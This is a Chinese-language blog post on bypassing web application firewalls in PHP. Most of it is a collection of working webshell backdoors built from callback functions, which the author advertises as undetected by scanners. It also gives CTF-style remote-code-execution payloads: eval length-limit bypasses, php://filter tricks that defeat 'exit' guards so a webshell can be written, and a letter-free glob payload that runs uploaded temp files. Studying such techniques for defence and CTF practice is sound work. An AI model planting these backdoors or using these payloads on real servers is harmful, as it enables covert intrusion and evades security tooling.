2024全网最全面及最新的网络安全技巧 1 之 bypass各种waf技巧以及命令执行 ———— 作者:LJS

一、bypass各种waf技巧以及命令执行

1.1 bypass各种waf-PHP回调后门

1.1.1 最初的回调后门

php中call_user_func是执行回调函数的标准方法,这也是一个比较老的后门了:

call_user_func('assert', $_REQUEST['pass']);

assert直接作为回调函数,然后$_REQUEST['pass']作为assert的参数调用。

这样的后门很容易被查杀,所以我们可以简单做一个变性

call_user_func_array('assert', array($_REQUEST['pass']));

call_user_func_array函数,和call_user_func类似,只是第二个参数可以传入参数列表组成的数组。

1.1.2 数组操作造成的单参数回调后门

进一步思考,在平时的php开发中,遇到过的带有回调参数的函数绝不止上面说的两个。这些含有回调(callable类型)参数的函数,其实都有做“回调后门”的潜力。

我最早想到个最“简单好用的”:

<?php
$e = $_REQUEST['e'];
$arr = array($_POST['pass'],);
array_filter($arr, base64_decode($e));

rray_filter函数是将数组中所有元素遍历并用指定函数处理过滤用的,如此调用都可以执行

类似array_filter,array_map也有同样功效

<?php
$e = $_REQUEST['e'];
$arr = array($_POST['pass'],);
array_map(base64_decode($e), $arr);

1.1.3 php5.4.8+中的assert

php 5.4.8+后的版本,assert函数由一个参数,增加了一个可选参数descrition:

这就增加(改变)了一个很好的“执行代码”的方法assert,这个函数可以有一个参数,也可以有两个参数。那么以前回调后门中有两个参数的回调函数,现在就可以使用了。

比如如下回调后门:

<?php
$e = $_REQUEST['e'];
$arr = array('test', $_REQUEST['pass']);
uasort($arr, base64_decode($e));

同样的道理,这个也是功能类似:

再给出这两个函数,面向对象的方法:

<?php
// way 0
$arr = new ArrayObject(array('test', $_REQUEST['pass']));
$arr->uasort('assert');

// way 1
$arr = new ArrayObject(array('test' => 1, $_REQUEST['pass'] => 2));
$arr->uksort('assert');

再来两个类似的回调后门:

<?php
$e = $_REQUEST['e'];
$arr = array(1);
array_reduce($arr, $e, $_POST['pass']);

<?php
$e = $_REQUEST['e'];
$arr = array($_POST['pass']);
$arr2 = array(1);
array_udiff($arr, $arr2, $e);

以上几个都是可以直接菜刀连接的一句话,但目标PHP版本在5.4.8及以上才可用。

我把上面几个类型归为:二参数回调函数(也就是回调函数的格式是需要两个参数的)

1.1.4 三参数回调函数

有些函数需要的回调函数类型比较苛刻,回调格式需要三个参数。比如array_walk。

array_walk的第二个参数是callable类型,正常情况下它是格式是两个参数的,但在0x03中说了,

两个参数的回调后门需要使用php5.4.8后的assert,在5.3就不好用了。但这个回调其实也可以接受

三个参数,那就好办了:

php中,可以执行代码的函数:

  1. 一个参数:assert
  2. 两个参数:assert (php5.4.8+)
  3. 三个参数:preg_replace /e模式

三个参数可以用preg_replace。所以我这里构造了一个array_walk + preg_replace的回调后门:

<?php
$e = $_REQUEST['e'];
$arr = array($_POST['pass'] => '|.*|e',);
array_walk($arr, $e, '');
PHP拥有那么多灵活的函数,稍微改个函数(array_walk_recursive)
<?php$e = $_REQUEST['e'];
$arr = array($_POST['pass'] => '|.*|e',);
array_walk_recursive($arr, $e, '');

 看了以上几个回调后门,发现preg_replace确实好用。但显然很多WAF和顿顿狗狗的早就盯上这个函数了。其实php里不止这个函数可以执行eval的功能,还有几个类似的:

<?php
mb_ereg_replace('.*', $_REQUEST['pass'], '', 'e');

 另一个:

<?phpecho preg_filter('|.*|e', $_REQUEST['pass'], '');

1.1.5 单参数后门终极奥义

preg_replace、三参数后门虽然好用,但/e模式php5.5以后就废弃了,不知道哪天就会给删了。所以我觉得还是单参数后门,在各个版本都比较好驾驭。

这里给出几个好用不杀的回调后门

<?php
$e = $_REQUEST['e'];
register_shutdown_function($e, $_REQUEST['pass']);

这个是php全版本支持的,且不报不杀稳定执行:

再来一个:

<?php
$e = $_REQUEST['e'];
declare(ticks=1);
register_tick_function ($e, $_REQUEST['pass']);

 再来两个:

<?phpfilter_var($_REQUEST['pass'], FILTER_CALLBACK, array('options' => 'assert'));
filter_var_array(array('test' => $_REQUEST['pass']), array('test' => array('filter' => FILTER_CALLBACK, 'options' => 'assert')));

这两个是filter_var的利用,php里用这个函数来过滤数组,只要指定过滤方法为回调(FILTER_CALLBACK),且option为assert即可。

这几个单参数回调后门非常隐蔽,基本没特征,用起来很6.

1.1.6 其他参数型回调后门

上面说了,回调函数格式为1、2、3参数的时候,可以利用assert、assert、preg_replace来执行代码。但如果回调函数的格式是其他参数数目,或者参数类型不是简单字符串,怎么办?

举个例子,php5.5以后建议用preg_replace_callback代替preg_replace的/e模式来处理正则执行替换,那么其实preg_replace_callback也是可以构造回调后门的。

preg_replace_callback的第二个参数是回调函数,但这个回调函数被传入的参数是一个数组,如果直接将这个指定为assert,就会执行不了,因为assert接受的参数是字符串。

所以我们需要去“构造”一个满足条件的回调函数。

怎么构造?使用create_function:

<?phppreg_replace_callback('/.+/i', create_function('$arr', 'return assert($arr[0]);'), $_REQUEST['pass']);

“创造”一个函数,它接受一个数组,并将数组的第一个元素$arr[0]传入assert。

这也是一个不杀不报稳定执行的回调后门,但因为有create_function这个敏感函数,所以看起来总是不太爽。不过也是没办法的事。

类似的,这个也同样:

<?php
mb_ereg_replace_callback('.+', create_function('$arr', 'return assert($arr[0]);'), $_REQUEST['pass']);

1.2 easy - phplimit

1.2.1 nginx

<?php
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {    
    eval($_GET['code']);
} else {
    show_source(__FILE__);
}

这个代码就简单多了,简单来说就是只能执行一个函数,但不能设置参数,这题最早出现是在RCTF2018中

RCTF2018 Web Writeup · LoRexxar's Blog

在原来的题目中是用next(getallheaders())绕过这个限制的。

但这里getallheaders是apache中的函数,这里是nginx环境,所以目标就是找一个函数其返回的内容是可以控制的就可以了。

问题就在于这种函数还不太好找,首先nginx中并没有能获取all header的函数。

所以目标基本就锁定在会不会有获取cookie,或者所有变量这种函数。在看别人writeup的时候知道了get_defined_vars这个函数

PHP: get_defined_vars - Manual

他会打印所有已定义的变量(包括全局变量GET等)。简单翻了翻PHP的文档也没找到其他会涉及到可控变量的

在原wp中有一个很厉害的操作,直接reset所有的变量。

后面就简单了拼接就好了

然后…直接列目录好像也是个不错的办法2333

code=readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd()))))))
/*
1. `getcwd()`: 这个函数用于获取当前工作目录的路径。
2. `chdir(dirname(getcwd()))`: `dirname(getcwd())` 返回当前工作目录的上级目录路径,然后 `chdir()` 函数将当前工作目录更改为上级目录。
3. `scandir()`: 这个函数用于获取指定目录中的文件和目录列表。在这里,它返回上级目录中所有文件和目录的列表。
4. `array_reverse()`: 这个函数用于反转数组的顺序,因此它将 `scandir()` 返回的列表倒序排列,即最后修改的文件排在数组的开头。
5. `next()`: 这个函数用于将数组的内部指针向前移动一位,并返回当前元素的值。在这里,它返回倒序排列后的文件列表中的第一个文件名。
6. `readfile()`: 这个函数用于读取文件内容并输出到页面上。

因此,整个代码的作用是读取当前工作目录的上级目录中最后修改的文件,并将其内容输出到页面上
*/

1.2.1 apache

code=eval(next(getallheaders()));
user-agent:phpinfo();

1.3 eval长度限制绕过

我把他的叙述写成代码,大概如下:

<?php
$param = $_REQUEST['param'];
if(strlen($param)<17 && stripos($param,'eval') === false && stripos($param,'assert') === false) {
  eval($param);
}
?>

那么这个代码怎么拿到webshell?

命令执行的利用

这个是我得到最多的一种答案,大部分人都是利用命令执行来绕过限制,最短的是:

param=`$_GET[1]`;&1=bash

 稍长一点的可以用exec:

param=exec($_GET[1]);

本地文件包含的利用(奇技淫巧100%)

那么,文件包含真的不行么?

有一种思路,利用file_put_contents可以将字符一个个地写入一个文件中,大概请求如下:

param=$_GET[a](N,a,8);&a=file_put_contents

file_put_contents的第一个参数是文件名,我传入N。PHP会认为N是一个常量,但我之前并没有定义这个常量,于是PHP就会把它转换成字符串'N';第二个参数是要写入的数据,a也被转换成字符串'a';第三个参数是flag,当flag=8的时候内容会追加在文件末尾,而不是覆盖。

除了file_put_contents,error_log函数效果也类似。

但这个方法有个问题,就是file_put_contents第二个参数如果是符号,就会导致PHP出错,比如

param=$_GET[a](N,<,8);&a=file_put_contents。

但如果要写webshell的话,“<”等符号又是必不可少的。

最后请求如下:

# 每次写入一个字符:PD9waHAgZXZhbCgkX1BPU1RbOV0pOw
# 最后包含
param=include$_GET[0];&0=php://filter/read=convert.base64-decode/resource=N

成功getshell。

标准答案:利用变长参数特性展开数组

变长参数是PHP5.6新引入的特性,文档在此: PHP: 新特性 - Manual

和Python中的**kwargs,类似,在PHP中可以使用 func(...$arr)这样的方式,将$arr数组展开成多个参数,传入func函数。 

再结合我曾提到过的回调后门( 创造tips的秘籍——PHP回调后门 | 离别歌 ),即可构造一个完美的利用,数据包如下:

大概过程就是,GET变量被展开成两个参数['test', 'phpinfo();']assert,传入usort函数。usort函数的第二个参数是一个回调函数assert,其调用了第一个参数中的phpinfo();。修改phpinfo();为webshell即可。

最后说一下,这个方法基本无视任何WAF

1.4 浅谈eval与assert一句话木马执行区别

经常可以看到这样的一句话木马

<?php
$_POST['1']($_POST['2']);

那么就从eval和assert两个不同函数特性来具体说明

php5中的具体应用

首先很多同学认为可以这样执行 eval($_POST[2])

1=eval&2

 但是这样会利用失败,这究竟是因为什么呢?

Fatal error: Call to undefined function eval() in D:\PhpStudy_pro\WWW\test6.php on line 3

因为eval是一个语言构造器而不是一个函数,不能被 可变函数 调用。

PHP 支持可变函数的概念。这意味着如果一个变量名后有圆括号,PHP 将寻找与变量的值同名的函数,并且尝试执行它。可变函数可以用来实现包括回调函数,函数表在内的一些用途。

可变函数不能用于例如 echo,print,unset(),isset(),empty(),include,require 以及类似的语言结构。需要使用自己的包装函数来将这些结构用作可变函数。

这么看来eval其实并不能算是‘函数’,而是PHP自身的语言结构,如果需要用‘可变’的方式调用,需要自己构造,类似这样子的:

<?php
function eval_1($str)
{
   eval($str);
}
 
$a='eval_1';
$a('phpinfo()');
?> 

 而我们使用assert则可以成功,因为assert在php中被认为是一个函数

可以很清楚的看到opcode,eval是INCLUDE_OR_EVAL去处理,而assert是用DO_FCALL去处理

可以看下DO_FCALL

会进行一个函数名的查找

再跟一下INCLUDE_OR_EVAL

就会发现进去后会直接编译eval参数中的代码。

从一开始的跟踪opcode中可以看到,eval其实是Zend的函数,而assert是PHP_FUNCTION宏编写的,最后在调用上是不同的。

测试结果如下:

//测试代码
@$_++;
$__=("#"^"|");
$__.=("."^"~");
$__.=("/"^"`");
$__.=("|"^"/");
$__.=("{"^"/");
${$__}[!$_](${$__}[$_]);//$_POST[0]($_POST[1])

利用burpsuit进行抓包,可以看出明显的问题,这里我们0提交的是assert

1提交的$POST['xian'],我们本意是为了执行assert($POST['xian'])

而我们中国蚁剑也同时post了xian这个数据为%40ini_set之类的数据,而我们又必须清楚一点我们的eval函数中参数是字符,assert函数中参数为表达式 (或者为函数),如:

assert(eval(‘echo 1;’));//类似这样

 这是抓包内容,执行的是我们的字符串,所以执行失败

 为什么我们直接在蚁剑密码处输入0=assert&1,不进行编码的时候,还是会执行失败呢,原因和上文一致

为什么我们执行了base64又成功了链接了呢

因为我们多了一个eval函数,实质上我们是在执行assert(eval()),所以是可以执行的。

  • assert('adsadasdsadasdasdsa') 里面只有字符串
  • assert(eval(base64dddddd)); 里面有eval函数

最后我们再来看一个答案,实质是这样的

  • 数字0我们post数据为assert
  • 数字1我们post数据为eval($_POST['nanjing'])
  • 其本质还是assert(eval()),所以还是可以执行

这里再次强调一点,请牢记

eval函数中参数是字符,如:
eval('echo 1;');
assert函数中参数为表达式 (或者为函数),如:
assert(phpinfo()) 

1.5 谈一谈php://filter的妙用

php://filter是PHP中独有的协议,利用这个协议可以创造很多“妙用”,本文说几个有意思的点,剩下的大家自己下去体会。

1.5.1 巧用编码与解码

<?php
$content = '<?php exit; ?>';
$content .= $_POST['txt'];
file_put_contents($_POST['filename'], $content);

$content在开头增加了exit过程,导致即使我们成功写入一句话,也执行不了(这个过程在实战中十分常见,通常出现在缓存、配置文件等等地方,不允许用户直接访问的文件,都会被加上if(!defined(xxx))exit;之类的限制)。那么这种情况下,如何绕过这个“死亡exit”?

幸运的是,这里的$_POST['filename']是可以控制协议的,我们即可使用 php://filter协议来施展魔法:使用php://filter流的base64-decode方法,将$content解码,利用php base64_decode函数特性去除“死亡exit”。

众所周知,base64编码中只包含64个可打印字符,而PHP在解码base64时,遇到不在其中的字符时,将会跳过这些字符,仅将合法字符组成一个新的字符串进行解码。

所以,一个正常的base64_decode实际上可以理解为如下两个步骤

<?php
$_GET['txt'] = preg_replace('|[^a-z0-9A-Z+/]|s', '', $_GET['txt']);
base64_decode($_GET['txt']);

所以,当$content被加上了<?php exit; ?>以后,我们可以使用 php://filter/write=convert.base64-decode 来首先对其解码。在解码的过程中,字符<、?、;、>、空格等一共有7个字符不符合base64编码的字符范围将被忽略,所以最终被解码的字符仅有“phpexit”和我们传入的其他字符。

phpexit”一共7个字符,因为base64算法解码时是4个byte一组,所以给他增加1个“a”一共8个字符。这样,"phpexita"被正常解码,而后面我们传入的webshell的base64内容也被正常解码。结果就是<?php exit; ?>没有了。

最后效果是 :

1.5.2 利用字符串操作方法

有的同学说,base64的算法我不懂,上面的方法太复杂了。

其实,除了使用base64特性的方法外,我们还可以利用php://filter字符串处理方法来去除“死亡exit”。我们观察一下,这个<?php exit; ?>实际上是什么?

实际上是一个XML标签,既然是XML标签,我们就可以利用strip_tags函数去除它,而php://filter刚好是支持这个方法的。

编写如下测试代码即可查看 php://filter/read=string.strip_tags/resource=php://input 的效果:

echo readfile('php://filter/read=string.strip_tags/resource=php://input');

可见,<?php exit; ?>被去除了。但回到上面的题目,我们最终的目的是写入一个webshell,而写入的webshell也是php代码,如果使用strip_tags同样会被去除。

万幸的是,php://filter允许使用多个过滤器,我们可以先将webshell用base64编码。在调用完成strip_tags后再进行base64-decode。“死亡exit”在第一步被去除,而webshell在第二步被还原。

最终的数据包如下

1.6 无字母数字webshell之命令执行

<?php
if(isset($_GET['code']))
{    $code = $_GET['code'];   
 if(strlen($code)>35)
    {     die("Long.");    }    
 if(preg_match("/[A-Za-z0-9_$]+/",$code))
    {        die("NO.");    }    
eval($code);}

else{highlight_file(__FILE__);}

这个代码如果要getshell,怎样利用?

当然,这道题的限制:

  1. webshell长度不超过35位

  2. 除了不包含字母数字,还不能包含$_

难点呼之欲出了,我前面文章中给出的所有方法,都用到了PHP中的变量,需要对变量进行变形、异或、取反等操作,最后动态执行函数。但现在,因为$不能使用了,所以我们无法构造PHP中的变量。

所以,如何解决这个问题?

PHP7 下简单解决问题

php7 中修改了表达式执行的顺序: http://php.net/manual/zh/migration70.incompatible.php
PHP7 前是不允许用 ($a)() ; 这样的方法来执行动态函数的,但 PHP7 中增加了对此的支持。所以,我们可以通过 ('phpinfo')(); 来执行函数,第一个括号中可以是任意 PHP 表达式。
所以很简单了,构造一个可以生成 phpinfo 这个字符串的 PHP 表达式即可。 payload 如下(不可见字符用 url 编码表 示):
(~%8F%97%8F%96%91%99%90)();

PHP5的思考

此时,我们尝试用 PHP7 的payload,将会得到一个错误:
原因就是 php5 并不支持这种表达方式。
在我在知识星球里发出帖子的时候,其实还没想到如何用 PHP5 解决问题,但我有自信解决它,所以先发了这个小
挑战。后来关上电脑仔细想想,发现当思路禁锢在一个点的时候,你将会钻进牛角尖;当你用大局观来看待问题,
问题就迎刃而解。
当然,我觉得我的方法应该不是唯一的,不过一直没人出来公布答案,我就先抛钻引玉了。
大部分语言都不会是单纯的逻辑语言,一门全功能的语言必然需要和操作系统进行交互。操作系统里包含的最重要
的两个功能就是 “shell (系统命令) 文件系统 ,很多木马与远控其实也只实现了这两个功能。
PHP 自然也能够和操作系统进行交互, 反引号 就是 PHP 中最简单的执行 shell 的方法。那么,在使用 PHP 无法解决
问题的情况下, 为何不考虑用“反引号”+“shell”的方式来getshell呢?

PHP5+shell打破禁锢

因为反引号不属于 字母 数字 ,所以我们可以执行系统命令,但问题来了:如何利用无字母、数字、 $ 的系统
命令来 getshell
好像问题又回到了原点:无字母、数字、 $ ,在 shell 中仍然是一个难题。
此时我想到了两个有趣的 Linux shell 知识点:
/*1. shell下可以利用.来执行任意脚本
2. Linux文件名支持用glob通配符代替
*/
  • 第一点.或者叫period,它的作用和source一样,就是用当前的shell执行一个文件中的命令。比如,当前运行的shell
  • bash,则. file的意思就是用bash执行file文件中的命令。
  • . file执行文件,是不需要filex权限的。那么,如果目标服务器上有一个我们可控的文件,那不就可以利用来执行它了吗?
  • 这个文件也很好得到,我们可以发送一个上传文件的POST包,此时PHP会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpXXXXXX,文件名最后6个字符是随机的大小写字母。

第二个难题接踵而至,执行 . /tmp/phpXXXXXX ,也是有字母的。此时就可以用到 Linux 下的 glob 通配符:
/**可以代替0个及以上任意字符
?可以代表1个任意字符*/
那么, /tmp/phpXXXXXX 就可以表示为 /*/????????? /???/?????????
但我们尝试执行. /???/?????????,却得到如下错误:
这是因为,能够匹配上/???/?????????这个通配符的文件有很多,我们可以列出来:

可见,我们要执行的 /tmp/phpcjggLC 排在倒数第二位。然而,在执行第一个匹配上的文件(即 /bin/run - parts )的
时候就已经出现了错误,导致整个流程停止,根本不会执行到我们上传的文件。
思路又陷入了僵局,虽然方向没错。

深入理解glob通配符

大部分同学对于通配符,可能知道的都只有 * ?。但实际上,阅读Linux的文档 ,可以学到更多有趣的知识点。
其中, glob 支持用 [^x] 的方法来构造 这个位置不是字符x 。那么,我们用这个姿势干掉 /bin/run -parts:

排除了第 4 个字符是 - 的文件,同样我们可以排除包含 . 的文件:
现在就剩最后三个文件了。但我们要执行的文件仍然排在最后,但我发现这三个文件名中都不包含特殊字符,那么
这个方法似乎行不通了。
继续阅读glob的帮助,我发现另一个有趣的用法:
就跟正则表达式类似, glob 支持利用 [0 - 9] 来表示一个范围。
我们再来看看之前列出可能干扰我们的文件:
所有文件名都是小写,只有 PHP 生成的临时文件包含大写字母。那么答案就呼之欲出了, 我们只要找到一个可以表示“大写字母”的glob通配符 ,就能精准找到我们要执行的文件。
翻开 ascii 码表,可见 大写字母位于@与[之间
那么,我们可以利用 [@ -[]来表示大写字母:
显然这一招是管用的。

构造POC,执行任意命令

当然, php 生成临时文件名是随机的,最后一个字符不一定是大写字母,不过多尝试几次也就行了。
最后,我传入的 code ?><?=. /???/????????[@-[]; ?>,发送数据包如下:

成功执行任意命令。
  • 13
    点赞
  • 26
    收藏
    觉得还不错? 一键收藏
  • 3
    评论
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值